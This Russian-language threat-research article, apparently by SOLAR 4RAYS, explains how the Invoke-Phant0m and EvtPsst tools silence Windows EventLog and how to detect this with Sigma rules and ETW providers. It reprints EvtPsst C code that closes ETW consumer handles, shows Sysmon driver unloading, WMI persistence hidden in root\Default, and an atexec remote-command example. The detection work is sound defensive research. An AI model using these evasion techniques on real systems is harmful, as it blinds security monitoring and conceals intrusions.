Таким образом, мы получаем работающую службу EventLog, которая фактически перестала выполнять свою основную функцию: сбор и запись событий ОС.
Явных следов своего исполнения, помимо самого запуска Invoke-Phant0m, утилита не оставляет. Отсутствуют события:
- завершения службы;
- очистки журнала.
Однако при работе утилиты имеет место отслеживание факта доступа к процессу svchost.exe с повышенными привилегиями (так как в ходе работы присутствует вызов OpenProcess()). Детект можно реализовать с помощью Sysmon:
title: 4RAYS_WIN_SvchostSuspiciousAccess_rule
id: 11e17f5f-4208-4177-8cb7-175bcdaafd34
status: stable
description: Detects suspicious access to svchost.exe. This may be a sign of running the Invoke-Phant0m utility to terminate ETW threads in the EventLogs service.
author: SOLAR 4RAYS
date: 2025-09-19
modified: 2025-09-19
logsource:
category: process_access
product: windows
definition: This is a behavioral rule for Invoke-Phant0m and similar tools. Detection requires updating the Sysmon configuration.
detection:
AccessToSvchostWithPROCESSALLACCESS:
TargetImage|endswith: \System32\svchost.exe
CallTrace|contains: unknown
AccessMask: '0x1F3FFF'
condition: AccessToSvchostWithPROCESSALLACCESS
tags:
- attack.defense-evasion
- attack.t1562.002
- tool.Invoke-Phant0m
level: high
falsepositives:
- Unknown
Также мы можем отследить подозрительный WMI-запрос на поиск процесса службы EventLog. Отслеживать WMI-запросы предлагается с помощью непосредственной подписки на ETW-провайдера Microsoft-Windows-WMI-Activity.
Теоретически это можно сделать с помощью стандартного EventLog, ведь в нем содержится журнал событий WMI:
Однако в журнале Operational, который включен по умолчанию, записывается очень скудное количество событий, которых часто недостаточно для того, чтобы увидеть всю WMI-активность:
- Event ID 5857: This event indicates that a new consumer has been registered to receive WMI events.
- Event ID 5858: This event signifies that a new event filter has been registered.
Есть еще Trace, туда пишутся события напрямую с ETW-провайдера, в нем мы уже сможем поймать WMI-query. Но из-за того что это отладочный журнал, отфильтровать события в нем будет проблематично, что может привести к высокому EPS.
В качестве демонстрации получения событий из провайдера Microsoft-Windows-WMI-Activity мы используем утилиту SilkETW. Пример события поиска процесса службы EventLog из провайдера Microsoft-Windows-WMI-Activity:
{
"ProviderGuid": "1418ef04-b0b4-4623-bf7e-d74ab47bbdaa",
"YaraMatch": [],
"ProviderName": "Microsoft-Windows-WMI-Activity",
"EventName": "EventID(11)",
"Opcode": 0,
"OpcodeName": "Info",
"TimeStamp": "2025-09-19T12:59:14.9490692+03:00",
"ThreadID": 10540,
"ProcessID": 2096,
"ProcessName": "svchost",
"PointerSize": 8,
"EventDataLength": 434,
"XmlEventData": {
"FormattedMessage": "CorrelationId = {1DF192FD-292E-0001-C9F6-F11D2E29DC01}; GroupOperationId = 10 482; OperationId = 10 483; Operation = Start IWbemServices::ExecQuery - root\\cimv2 : select * from win32_service where name = 'eventlog'; ClientMachine = DESKTOP-PKUMUTT; User = DESKTOP-PKUMUTT\\user; ClientProcessId = 2 308; NamespaceName = 134 027 490 711 288 204 ",
"PID": "2096",
"ActivityID": "4fbf831b76894b1a95ebc831d1f35663",
"Operation": "Start IWbemServices::ExecQuery - root\\cimv2 : select * from win32_service where name = 'eventlog'",
"User": "DESKTOP-PKUMUTT\\user",
"MSec": "9515,8373",
"NamespaceName": "\\\\.\\root\\cimv2",
"IsLocal": "True",
"OperationId": "10 483",
"ClientMachineFQDN": "DESKTOP-PKUMUTT",
"GroupOperationId": "10 482",
"ClientProcessCreationTime": "134 027 490 711 288 204",
"ClientMachine": "DESKTOP-PKUMUTT",
"TID": "10540",
"ProviderName": "Microsoft-Windows-WMI-Activity",
"PName": "",
"ClientProcessId": "2 308",
"EventName": "EventID(11)",
"CorrelationId": "{1DF192FD-292E-0001-C9F6-F11D2E29DC01}"
}
}
title: 4RAYS_WIN_ETW_SearchPidOfEventLogService_rule
id: 535a026f-30e3-484c-a30a-1d950c61bfad
status: experimental
description: Detects the search for the EventLog service pid that was requested via WMI classes.
author: SOLAR 4RAYS
date: 2025-07-24
modified: 2025-07-24
logsource:
product: windows
service: Microsoft-Windows-WMI-Activity
definition: In order to collect these events, you need to activate the Microsoft-Windows-WMI-Activity provider with GUID {1418ef04-b0b4-4623-bf7e-d74ab47bbdaa} and collect WMI Query events.
detection:
suspiciouswmiquery:
EventName: EventID(11)
Operation|re: .*ExecQuery.*where name \= 'eventlog'.*
condition: suspiciouswmiquery
tags:
- attack.defense-evasion
- attack.t1562.002
- tool.Invoke-Phant0m
level: high
falsepositives:
- no known false-positives
EvtPsst
Этот инструмент также создан для того, чтобы отключать сбор событий в EventLog, однако его принцип работы несколько отличается от Invoke-Phant0m, поскольку с его помощью закрываются дескрипторы, а не останавливаются потоки.
Принцип работы EvtPsst:
- С помощью WMI-запроса инструмент перечисляет все процессы на системе и получает из них PID трех процессов:
- EventLog — хост-процесс службы EventLog;
- RpcSs — хост-процесс службы RpcSs (диспетчер служб для COM- и DCOM-серверов). Она выполняет запросы активации объектов, разрешение экспортера объектов и распределенный сбор мусора для этих серверов;
- ProfSvc — хост-процесс службы ProfSvc (Эта служба отвечает за загрузку и выгрузку профилей пользователей).
- Получает дескриптор процесса RpcSs с правами PROCESS_QUERY_LIMITED_INFORMATION:
hProcessRPCSslow = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwPidRPCSs);
- Имперсонируется под SYSTEM с помощью токена, извлеченного из процесса ProfSvc:
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwPID);
dwSuccess = OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE, &hToken);
bSuccess = ImpersonateLoggedOnUser(hToken);
SYSTEM-привилегии в данном случае нужны для получения токена из RPCs:
dwSuccess = OpenProcessToken(hProcessRPCSslow, TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, &hTokenRPCSs);
- У нас есть токен процесса RPCs. Имперсонируемся под RPCs и совершаем Handle Elevate (дублируем дескриптор и повышаем ему маску доступа, в данном случае с помощью имперсонации под RPCs у нас есть возможность сделать так с дескриптором его процесса). Право PROCESS_DUP_HANDLE позволяет дублировать дескрипторы этого процесса:
dwSuccess = ImpersonateLoggedOnUser(hTokenRPCSs);
dwSuccess = DuplicateHandle(GetCurrentProcess(), hProcessRPCSslow, GetCurrentProcess(), &hProcessRPCSsduplicate, PROCESS_DUP_HANDLE, FALSE, 0);
- В цикле мы перебираем все дескрипторы токенов, которые есть в процессе RPCs (нам заранее известно, что в нем есть токен процесса EventLog). Впоследствии находим дескриптор токена EventLog и дублируем его с правами TOKEN_ALL_ACCESS:
for (DWORD dwCounterHandle = 0; dwCounterHandle < dwHandleCount; dwCounterHandle++) {
PSYSTEM_HANDLE pSystemHandle = NULL;
pSystemHandle = &pHandleInfo->Handles[dwCounterHandle];
if (pSystemHandle->GrantedAccess == 0xf01ff && pSystemHandle->ProcessId == (ULONG)dwPIDRPCSs && pSystemHandle->ObjectTypeNumber == bHandleTypeNumberToken) {
DWORD dwSuccess = FAIL;
HANDLE hToken = NULL;
dwSuccess = DuplicateHandle(hProcessRPCSsduplicate, (HANDLE)(pSystemHandle->Handle), GetCurrentProcess(), &hToken, TOKEN_ALL_ACCESS, FALSE, 0);
if (dwSuccess == FAIL) {
printf("[-] Could not duplicate token\n");
continue;
}
else {
dwSuccess = checkTokenGroups(hToken);
if (dwSuccess == SUCCESS) {
*hTokenEvtLog = hToken;
return SUCCESS;
}
else {
if (hToken) {
CloseHandle(hToken);
}
continue;
}
}
}
- В этом же процессе RPCs находится и дескриптор процесса службы EventLog, который нам нужно найти точно так же, как и токен EventLog. Нам также известно, что этот дескриптор процесса EventLog у RPCs имеет права только на SYNCHRONIZE.
- Для того чтобы найти дескриптор процесса EventLog, нужно пройтись по всем дескрипторам процессов внутри RPCs и, используя ранее полученный дескриптор токена EventLog, пытаться осуществить DuplicateHandle() для него. Если это получилось, значит, мы получили дескриптор процесса EventLog с правами службы EventLog:
for (DWORD dwCounterHandle = 0; dwCounterHandle < dwHandleCount; dwCounterHandle++) {
PSYSTEM_HANDLE pSystemHandle = NULL;
pSystemHandle = &pHandleInfo->Handles[dwCounterHandle];
if (pSystemHandle->GrantedAccess == SYNCHRONIZE && pSystemHandle->ProcessId == (ULONG)dwPidRPCSs && pSystemHandle->ObjectTypeNumber == bHandleTypeNumberProcess) {
DWORD dwSuccess = FAIL;
HANDLE hProcessRemote = NULL;
hProcessRemote= (HANDLE)pSystemHandle->Handle;
HANDLE hProcesssynchronize = NULL;
dwSuccess = RevertToSelf();
if (dwSuccess == FAIL) {
printf("[-] Could not Revert the Token\n");
}
dwSuccess = ImpersonateLoggedOnUser(hTokenRPCSs);
if (dwSuccess == FAIL) {
printf("[-] Could not Impersonate RPCSs Token\n");
}
dwSuccess = DuplicateHandle(hProcessRPCSsduplicate, hProcessRemote, GetCurrentProcess(), &hProcesssynchronize, SYNCHRONIZE, FALSE, 0);
if (dwSuccess == FAIL) {
printf("[-] Could not duplicate process handle\n");
continue;
}
else {
dwSuccess = RevertToSelf();
if (dwSuccess == FAIL) {
printf("[-] Could not Impersonate RPCSs Token\n");
}
dwSuccess = ImpersonateLoggedOnUser(hTokenEvtLog);
if (dwSuccess == FAIL) {
printf("[-] Could not Impersonate EventLog Token\n");
}
HANDLE hProcessqueryduplicate = NULL;
dwSuccess = DuplicateHandle(GetCurrentProcess(), hProcesssynchronize, GetCurrentProcess(), &hProcessqueryduplicate, PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, 0);
if (dwSuccess == FAIL){
//Wrong Process, cleanup and move to the next
CloseHandle(hProcesssynchronize);
}
else{
if (dwPidEventlog == GetProcessId(hProcessqueryduplicate)) {
CloseHandle(hProcesssynchronize);
*phProcessEventlogduplicatequery = hProcessqueryduplicate;
return SUCCESS;
}
else {
CloseHandle(hProcessqueryduplicate);
CloseHandle(hProcesssynchronize);
}
}
}
}
- На этом этапе мы получили дескриптор процесса EventLog без использования OpenProcess()-функции. Теперь мы проходимся по всем дескрипторам процесса EventLog и по характерной маске 0x400 находим EtwConsumer-дескриптор, после чего вызываем для каждого из них DuplicateHandle() с флагом DUPLICATE_CLOSE_SOURCE. Этот флаг дублирует дескриптор к нам в процесс и закрывает оригинальный, таким образом останавливая поток событий в EventLog:
for (DWORD dwCounterHandle = 0; dwCounterHandle < dwHandleCount; dwCounterHandle++) {
PSYSTEM_HANDLE pSystemHandle = NULL;
pSystemHandle = &pHandleInfo->Handles[dwCounterHandle];
if (pSystemHandle->GrantedAccess == (ACCESS_MASK)0x400 && pSystemHandle->ProcessId == (ULONG)dwPidEventlog) {
DWORD dwSuccess = FAIL;
HANDLE hEtwConsumer = NULL;
dwtotal++;
//Kills ETW Consumer Handles
dwSuccess = DuplicateHandle(hProcessEventlogduplicatequery, (HANDLE)(pSystemHandle->Handle), GetCurrentProcess(), &hEtwConsumer, 0x400, FALSE, DUPLICATE_CLOSE_SOURCE);
if (GetLastError() == 50) {
dwSuccess = SUCCESS;
}
if (dwSuccess == FAIL) {
printf("[-] Could not close ETW Consumer Handle: %x\n", pSystemHandle->Handle);
}
else {
dwSuccessfull++;
printf("[+] Successfully closed ETW Consumer Handle: %x\n", pSystemHandle->Handle);
CloseHandle(hEtwConsumer);
}
}
Видно, что по своей задумке техники отключения событий очень похожи, однако в EvtPsst мы закрываем дескрипторы, а не потоки, как это реализовано в Invoke-Phant0m. При этом не используется функция OpenProcess(), что уменьшает вероятность обнаружения.
Детектирующую логику в случае EvtPsst можно построить на отслеживании вызова WINAPI DuplicateHandle(), где в качестве 7-го параметра указана опция DUPLICATE_CLOSE_SOURCE, а также в 5-м параметре — характерный DesiredAccess для дескриптора ETWConsumer.
Sigma:
title: 4RAYS_WIN_WinAPI_PossibleCloseEventLogConsumersHandle_rule
id: 34f465b2-7bbd-4583-a6f3-0b3b228db16e
status: experimental
description: Detects mass closing of descriptors with a mask characteristic of EtwConsumer during the process
references:
- https://nothingspecialforu.github.io/EvtPsstBlog/
author: SOLAR 4RAYS
date: 2025-09-19
modified: 2025-09-19
correlation:
type: event_count
rules:
- 0e0385c6-ad20-4b50-8b63-87829375e815
group-by:
- Computer
- ProcessName
timespan: 10 s
condition:
gte: 4
tags:
- attack.defense-evasion
- attack.t1562.002
level: medium
falsepositives:
- Possible legitimate handle duplication in svchost processes
---
title: 4RAYS_WIN_WinAPI_DuplicateAndCloseHandleSvchost_rule
name: 4RAYS_WIN_WinAPI_DuplicateAndCloseHandleSvchost_rule
id: 0e0385c6-ad20-4b50-8b63-87829375e815
status: experimental
description: Detects duplicate close handle operation with EtwConsumer Descriptor
author: SOLAR 4RAYS
date: 2025-09-19
modified: 2025-09-19
logsource:
service: WinAPI
product: windows
definition: In order to detect this activity, it is necessary to monitor the NtDuplicateObject system call.
detection:
CloseEtwConsumerHandle:
FunctionName: NtDuplicateObject
DesiredAccess: 0x400
Options|contains: DUPLICATE_CLOSE_SOURCE
condition: CloseEtwConsumerHandle
falsepositives:
- this is enrich rule
level: informational
Sysmon Evasion
Unload Sysmon Driver
Одним из наиболее тривиальных способов прекращения потока событий от Sysmon является выгрузка его драйвера из ядра Windows.
Сам драйвер Sysmon считается драйвером мини-фильтра, поэтому им можно управлять с помощью fltMC.exe, встроенной утилиты WIndows для управления драйверами мини-фильтров.
Чтобы посмотреть, какие драйверы мини-фильтров присутствуют в системе, запускаем fltMC:
Для выгрузки драйвера добавляем флаг unload:
Итак, драйвер мини-фильтра выгружен, но, как мы и показывали на схеме ранее, Sysmon получает некоторые события из ETW, поэтому часть событий, которые не завязаны на callback-функциях ядра и обработке событий мини-фильтром, продолжают поступать.
Продолжают поступать следующие события:
- сетевые соединения;
- DNS-запросы;
- WMI-запросы.
Подобная манипуляция позволит избежать дальнейшего обнаружения на уровне:
- запусков процессов;
- загрузки образов;
- создания/удаления файлов;
- операций реестра.
Подобные попытки выгрузки Sysmon-драйвера предлагаем детектировать следующим образом:
- Событие журнала System от провайдера Microsoft-Windows-FilterManager:
- Событие от драйвера Sysmon (ошибка, характерная для выгрузки драйвера):
- Характерный командлайн запуска утилиты fltMC.exe:
WMI Persistence in Unusual Namespace
Для начала посмотрим на то, как выглядит стандартная техника закрепления через WMI Subscription в логах Sysmon. В конфигурационном файле настраиваются события WMI (просто получаем все события):
<WmiEvent onmatch="exclude"></WmiEvent>
Скриптов и фреймворков, которые реализуют данное закрепление, очень много. Для примера возьмем PowerShell-скрипт WMI-Persistence.ps1:
PS C:\me\Wmi-Persistence> Install-Persistence -Trigger Startup -Payload "c:\windows\notepad.exe"
Event Filter Dcom Launcher successfully written to host
Event Consumer Dcom Launcher successfully written to host
Filter To Consumer Binding successfully written to host
Процесс закрепления состоит в следующем:
- Создание Filter на определенные события, например на запуск процесса с определенным именем.
- Создание Consumer — описание логики того, что произойдет в момент сработки фильтра.
- Создание связи (bind) между Filter и Consumer.
Заметим, что все сущности создаются внутри пространства имен root/subscription, что, как мы увидим далее, Sysmon успешно детектирует.
Смотрим в Autoruns:
Закрепление прошло успешно, теперь посмотрим, какие события мы получили от Sysmon:
Все как по учебнику. Просто берем события и пишем детектирующую логику. Но каким образом можно обойти логирование WMI в Sysmon?
Вспомним, что подписка на события в недрах Sysmon осуществляется только на пространство имен ROOT\\Subscription. Однако существует еще одно пространство имен, в котором возможно создавать filters, consumers и связи между ними: ROOT\\Default.
Попробуем создать в нем filter, consumer и binding. Изменим название нашего фильтра в коде, также поменяем payload на mimikatz.exe и изменим пространство имен на root\Default:
Запускаем скрипт:
Закрепление прошло успешно. Появился второй WMI Consumer. Однако Sysmon не детектирует данную активность.
ETW как самостоятельный источник телеметрии
Все инструменты, рассмотренные ранее, так или иначе пользовались ETW-провайдерами в качестве источника событий.
В этом разделе мы хотим обратить внимание на возможность использования ETW-провайдеров в качестве самостоятельного источника телеметрии.
Useful ETW Providers
В Windows существует огромное количество ETW-провайдеров:
Однако не все из этого огромного количества могут быть полезны для детектирования атак или расследования инцидентов. Мы решили выделить и рассмотреть повнимательнее некоторые из «полезных» провайдеров.
ETW .NET
Microsoft-Windows-DotNETRuntime (GUID: E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4). Этот провайдер генерирует различные события из среды выполнения .NET, включая сборщик мусора, JIT, выгрузку/загрузку сборок. С его помощью этого провайдера можно собирать события, которые помогут потенциально отследить различные атаки / эксплуатируемые уязвимости с помощью .NET.
В качестве примера рассмотрим несколько атак.
VIEWSTATE deserialization
Принцип действия данной атаки довольно глубоко разобран в блоге 4RAYS. Напомним, как это происходит:
- Крадутся ключи шифрования от веб-страниц IIS.
- С помощью ysoserial и ключей генерируется payload, который можно прокинуть во VIEWSTATE.
- В VIEWSTATE прокидывается метод загрузки .NET-сборки и байткод веб-шелла (сама .NET-сборка).
- Сборка выполняется в памяти процесса w3wp.exe.
На самом последнем шаге в событиях провайдера Microsoft-Windows-DotNETRuntime мы можем отследить загрузку .NET-сборки в память процесса. В качестве примера для источников событий использована утилита SilkETW:
Благодаря этим двум событиям детектирующую логику возможно построить следующим образом: считаем подозрительными загруженные в память неподписанные сборки, у которых нет полного пути до их исполняемого файла.
Нашумевшая уязвимость в SharePoint.
Описание хода эксплуатации:
- Злоумышленник отправляет специально созданный POST-запрос, содержащий в поле Referrer ссылку на aspx-страницу, не требующую аутентификации (например, стандартная страница signout.aspx), по адресу: https://<TARGET>/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx.
- Далее при эксплуатации недостатков механизма десериализации данных внутри запроса можно воспользоваться
функциональностью ToolPane.aspx и записать на диск вредоносную aspx-страницу. Для этого в исходном запросе
злоумышленники помещают сериализованную полезную нагрузку в поля:
MSOTlPn_Uri (поле Control source path),
MSOTlPn_DWP (поле Web partial configuration). - Созданная в результате предыдущего этапа aspx-страница подгружает в память вредоносную .NET-сборку, используемую злоумышленниками для кражи ASP.NET-ключей.
- Далее, имея ключи ASP.NET, злоумышленники сериализуют полезную нагрузку при помощи утилиты ysoserial. Таким образом, эксплуатируя недостатки механизма десериализации данных VIEWSTATE на SharePoint, они получают возможность выполнения произвольного кода без аутентификации.
Здесь провайдер Microsoft-Windows-DotNETRuntime может помочь увидеть эксплуатацию на третьем шаге. Дело в том, что каждая aspx-страница в итоге компилируется в .NET-сборку и при первом своем использовании на сервере она будет скомпилирована и загружена в память до перезапуска процесса w3wp.exe.
Новые страницы в готовых приложениях появляются не так часто, поэтому возможно составить профиль aspx-страниц в рамках приложения, для того чтобы с помощью событий загрузки новых сборок отслеживать появление новых (подозрительных) aspx-страниц:
.NET Assembly Injection
Злоумышленники могут попытаться осуществить инъекцию вредоносной .NET-сборки в неуправляемый (unmanaged) CLR-процесс, что позволит им провести fileless-атаку, так как сборка загружается прямо в память и не записывается на диск. К тому же это усложняет обнаружение, так как инъекция затрагивает нативные процессы.
Подобную технику реализует модуль Cobalt Strike execute-assembly.
Эту активность можно обнаружить с помощью события провайдера Microsoft-Windows-DotNETRuntime — MethodLoadVerbose, которое регистрируется при первом вызове метода в момент его JIT-компиляции и показывает NameSpace вызываемого метода, а также его имя. Это позволит осуществлять детектирование на основе известных реализаций версий вредоносных сборок по их уникальным именам классов и методов.
ETW RPC
Remote Procedure Call, или удаленный вызов процедур, представляет собой технологию межпроцессного взаимодействия IPC. С помощью данной технологии один процесс может вызывать функции/процедуры у другого процесса удаленно, обращаясь к интерфейсам.
В Windows эта технология используется повсеместно: удаленное создание задачи, репликация контроллеров домена, удаленное создание новых значений в реестре, связь с COM и т. д.
По умолчанию в стандартных журналах Windows нет возможности мониторинга RPC-вызовов. Здесь нам поможет ETW-провайдер, а именно провайдер с GUID: 6ad52b32-d609-4be9-ae07-ce8dae937e3 — Microsoft-Windows-RPC.
Далее приведены примеры техник атакующих, которые можно потенциально обнаружить с помощью этого провайдера.
DCSync
DCSync — это атака, при которой злоумышленники, имея повышенные привилегии, с помощью механизма репликации в Active Directory, предназначенного для синхронизации данных между контроллерами домена, могут запросить репликацию с контроллера домена на себя и тем самым получить информацию о каждом объекте в домене, включая хеш-пароли, группы безопасности, в которых состоит принципал и т. д.
Стандартные методы детектирования DCSync обычно строятся на событиях доступа к объекту AD domainDNS с правами на репликацию, которые нетрудно детектировать, используя соответствующие GUID:
- 1131f6aa-9c07–11d1-f79f-00c04fc2dcd2 Replicating Directory Changes;
- 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 Replicating Directory Changes All;
- 89e95b76-444d-4c62-991a-0facbeda640c Replicating Directory Changes In Filtered Set.
Однако с помощью провайдера Microsoft-Windows-RPC можно найти альтернативный подход к обнаружению данной активности.
Дело в том, что за репликацию в Active Directory отвечает определенный RPC-интерфейс drsuapi. Возможности данного интерфейса позволяют контроллерам домена выполнять репликацию. Точно такой же принцип работает при использовании утилит вроде mimikatz.
Методы, с помощью которых можно детектировать запросы на репликацию через провайдера RPC:
- IDL_DRSBind (создание дескриптора контекста интерфейса) OpNum 0;
- IDL_DRSGetNCChanges (метод который производит репликацию) OpNum 3,
{
"FormattedMessage":"Client RPC call started. InterfaceUuid: e3514235-4b06-11d1-ab04-00c04fc2dcd2
OpNum: 0
Protocol: TCP NetworkAddress dc1.test.local Endpoint Binding Options NULL Authentication Level Packet Privacy Authentication Service Negotiate Impersonation Level Default ",
"Protocol":"TCP",
"NetworkAddress":"dc1.test.local",
"ActivityID":"70a91031521e431c9733826862a55b09",
"Endpoint":"",
"MSec":"11984.7642",
"AuthenticationLevel":"Packet Privacy",
"AuthenticationService":"Negotiate",
"ImpersonationLevel":"Default",
"InterfaceUuid":"e3514235-4b06-11d1-ab04-00c04fc2dcd2",
"PID":"11900",
"ProcNum":"0",
"TID":"21036",
"ProviderName":"Microsoft-Windows-RPC",
"PName":"",
"Options":"NULL",
"EventName":"RpcClientCall/Start"
}
{
"FormattedMessage":"Client RPC call started. InterfaceUuid: e3514235-4b06-11d1-ab04-00c04fc2dcd2
OpNum: 3 Protocol: TCP NetworkAddress dc1.test.local Endpoint 6405 Binding Options NULL Authentication Level Packet Privacy Authentication Service Negotiate Impersonation Level Default ",
"Protocol":"TCP",
"NetworkAddress":"dc1.test.local",
"ActivityID":"ffdd2c7ae5c84e2290d835d9594eb096",
"Endpoint":"6405",
"MSec":"11985.8920",
"AuthenticationLevel":"Packet Privacy",
"AuthenticationService":"Negotiate",
"ImpersonationLevel":"Default",
"InterfaceUuid":"e3514235-4b06-11d1-ab04-00c04fc2dcd2",
"PID":"11900",
"ProcNum":"3",
"TID":"21036",
"ProviderName":"Microsoft-Windows-RPC",
"PName":"",
"Options":"NULL",
"EventName":"RpcClientCall/Start"
}
Atexec-pro
Atexec — известный скрипт, часть фреймворка Impacket, который позволяет создавать задачи на удаленном хосте и выполнять через них произвольные команды. В качестве способа доставки задачи используется протокол SMB и пайп ATSVC.
Стандартный сценарий атаки следующий:
- Атакующий обращается по протоколу SMB к пайпу ATSVC и отправляет запрос на создание задачи с предоставленными параметрами.
- На хосте создается задача, и при ее выполнении результат записывается в общую SMB-шару.
- Злоумышленник считывает результат.
atexec.py admin2:<redacted>@10.199.49.37 'cmd /c whoami'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[!] This will work ONLY on Windows >= Vista
[*] Creating task \TQPYiPtF
[*] Running task \TQPYiPtF
[*] Deleting task \TQPYiPtF
[*] Attempting to read ADMIN$\Temp\TQPYiPtF.tmp
[*] Attempting to read ADMIN$\Temp\TQPYiPtF.tmp
nt authority\system
Данная активность может быть успешно обнаружена с помощью отслеживания обращения к пайпу ATSVC (событие 5145), что происходит в продовой среде очень редко (в легитимных целях):
У Atexec есть модифицированный «аналог» — Atexec-pro, который обладает аналогичной функциональностью: создание задачи => выполнение => запись результата в общий пайп. Однако в принципах их работы есть отличие: atexec-pro создает задачу не через ATSVC, а через динамический эндпоинт сервиса Task Scheduler — ITaskSchedulerService. Эта особенность позволяет не использовать SMB-протокол и, соответственно, обходить обнаружение за счет обращения к ATSVC.
Для создания задачи Atexec-pro использует методы интерфейса ITaskSchedulerService, и на ключевом из них можно построить детект: SchRpcRegisterTask (метод регистрации задачи).
{
"FormattedMessage":"Server RPC call started. InterfaceUuid: 86d35949-83c9-4044-b424-db363231fd0c
OpNum: 1 Protocol: TCP Endpoint 6403 Authentication Level Packet Privacy Authentication Service NTLM ",
"Protocol":"TCP",
"NetworkAddress":"NULL",
"Endpoint":"6403",
"MSec":"16979.5630",
"AuthenticationLevel":"Packet Privacy",
"AuthenticationService":"NTLM",
"ImpersonationLevel":"Default",
"InterfaceUuid":"86d35949-83c9-4044-b424-db363231fd0c",
"PID":"1644",
"ProcNum":"1",
"TID":"24480",
"ProviderName":"Microsoft-Windows-RPC",
"PName":"",
"Options":"NULL",
"EventName":"RpcServerCall/Start"
}
Правда, у данных методик обнаружения, как в целом и у всей телеметрии, не специализированной под детектирование вредоносной активности, есть минусы:
- Отсутствие базовых обогащений (хост источник, pid, username).
- Большой EPS при ошибках в параметрах фильтрации (нужен очень узкий профиль).
- Сложность в формулировке гипотез.
ETW TI
Microsoft-Windows-Threat-Intelligence — провайдер режима ядра, который был создан Microsoft для использования в качестве телеметрии различными доверенными вендорами, поэтому для того, чтобы иметь возможность получать с него события, нужно иметь подпись от Microsoft — чтобы запускаться в режиме PPL (AntiMalware). ETW TI доступен для чтения только из процессов PPL.
На данном провайдере мы немного заострим внимание, поскольку он считается менее инвазивным (в отличие от загрузки драйверов / установки хуков) методом получения низкоуровневой телеметрии для обеспечения безопасности конечных точек.
Microsoft-Windows-Threat-Intelligence-провайдер предоставляет множество полезных событий безопасности, которые могут быть применены для детектирования различных техник Process Injection.
В провайдере присутствуют события:
- Выделения виртуальной памяти в процессе.
- Создание APC-очереди.
- Чтение памяти.
- Остановка, запуск потоков.
- Загрузка и выгрузка драйвера, etc.
PS C:\Users\user> logman.exe query providers Microsoft-Windows-Threat-Intelligence
Поставщик GUID
-------------------------------------------------------------------------------
Microsoft-Windows-Threat-Intelligence {F4E1897C-BB5D-5668-F1D8-040F4D8DD344}
Значение Ключевое слово Описание
-------------------------------------------------------------------------------
0x0000000000000001 KERNEL_THREATINT_KEYWORD_ALLOCVM_LOCAL
0x0000000000000002 KERNEL_THREATINT_KEYWORD_ALLOCVM_LOCAL_KERNEL_CALLER
0x0000000000000004 KERNEL_THREATINT_KEYWORD_ALLOCVM_REMOTE
0x0000000000000008 KERNEL_THREATINT_KEYWORD_ALLOCVM_REMOTE_KERNEL_CALLER
0x0000000000000010 KERNEL_THREATINT_KEYWORD_PROTECTVM_LOCAL
0x0000000000000020 KERNEL_THREATINT_KEYWORD_PROTECTVM_LOCAL_KERNEL_CALLER
0x0000000000000040 KERNEL_THREATINT_KEYWORD_PROTECTVM_REMOTE
0x0000000000000080 KERNEL_THREATINT_KEYWORD_PROTECTVM_REMOTE_KERNEL_CALLER
0x0000000000000100 KERNEL_THREATINT_KEYWORD_MAPVIEW_LOCAL
0x0000000000000200 KERNEL_THREATINT_KEYWORD_MAPVIEW_LOCAL_KERNEL_CALLER
0x0000000000000400 KERNEL_THREATINT_KEYWORD_MAPVIEW_REMOTE
0x0000000000000800 KERNEL_THREATINT_KEYWORD_MAPVIEW_REMOTE_KERNEL_CALLER
0x0000000000001000 KERNEL_THREATINT_KEYWORD_QUEUEUSERAPC_REMOTE
0x0000000000002000 KERNEL_THREATINT_KEYWORD_QUEUEUSERAPC_REMOTE_KERNEL_CALLER
0x0000000000004000 KERNEL_THREATINT_KEYWORD_SETTHREADCONTEXT_REMOTE
0x0000000000008000 KERNEL_THREATINT_KEYWORD_SETTHREADCONTEXT_REMOTE_KERNEL_CALLER
0x0000000000010000 KERNEL_THREATINT_KEYWORD_READVM_LOCAL
0x0000000000020000 KERNEL_THREATINT_KEYWORD_READVM_REMOTE
0x0000000000040000 KERNEL_THREATINT_KEYWORD_WRITEVM_LOCAL
0x0000000000080000 KERNEL_THREATINT_KEYWORD_WRITEVM_REMOTE
0x0000000000100000 KERNEL_THREATINT_KEYWORD_SUSPEND_THREAD
0x0000000000200000 KERNEL_THREATINT_KEYWORD_RESUME_THREAD
0x0000000000400000 KERNEL_THREATINT_KEYWORD_SUSPEND_PROCESS
0x0000000000800000 KERNEL_THREATINT_KEYWORD_RESUME_PROCESS
0x0000000001000000 KERNEL_THREATINT_KEYWORD_FREEZE_PROCESS
0x0000000002000000 KERNEL_THREATINT_KEYWORD_THAW_PROCESS
0x0000000004000000 KERNEL_THREATINT_KEYWORD_CONTEXT_PARSE
0x0000000008000000 KERNEL_THREATINT_KEYWORD_EXECUTION_ADDRESS_VAD_PROBE
0x0000000010000000 KERNEL_THREATINT_KEYWORD_EXECUTION_ADDRESS_MMF_NAME_PROBE
0x0000000020000000 KERNEL_THREATINT_KEYWORD_READWRITEVM_NO_SIGNATURE_RESTRICTION
0x0000000040000000 KERNEL_THREATINT_KEYWORD_DRIVER_EVENTS
0x0000000080000000 KERNEL_THREATINT_KEYWORD_DEVICE_EVENTS
0x8000000000000000 Microsoft-Windows-Threat-Intelligence/Analytic
Теперь рассмотрим, где именно формируется телеметрия от этого провайдера.
Генерация события выделения виртуальной памяти
Для того чтобы понять, где провайдер берет телеметрию, посмотрим в бинарный файл ядра Windows — ntoskrnl.exe.
В ETW Explorer можно посмотреть описание и манифест провайдера Microsoft-Windows-Threat-Intelligence:
Внутри ядра можно обнаружить, что GUID f4e1897c-bb5d-5668-f1d8-040f4d8dd344 соответствует константа ThreatIntProviderGuid:
Сделав перекрестную ссылку на эту константу, видно, что она вызывается единожды в функции EtwRegister():
NTSTATUS EtwRegister(
[in] LPCGUID ProviderId,
[in, optional] PETWENABLECALLBACK EnableCallback,
[in, optional] PVOID CallbackContext,
[out] PREGHANDLE RegHandle
);
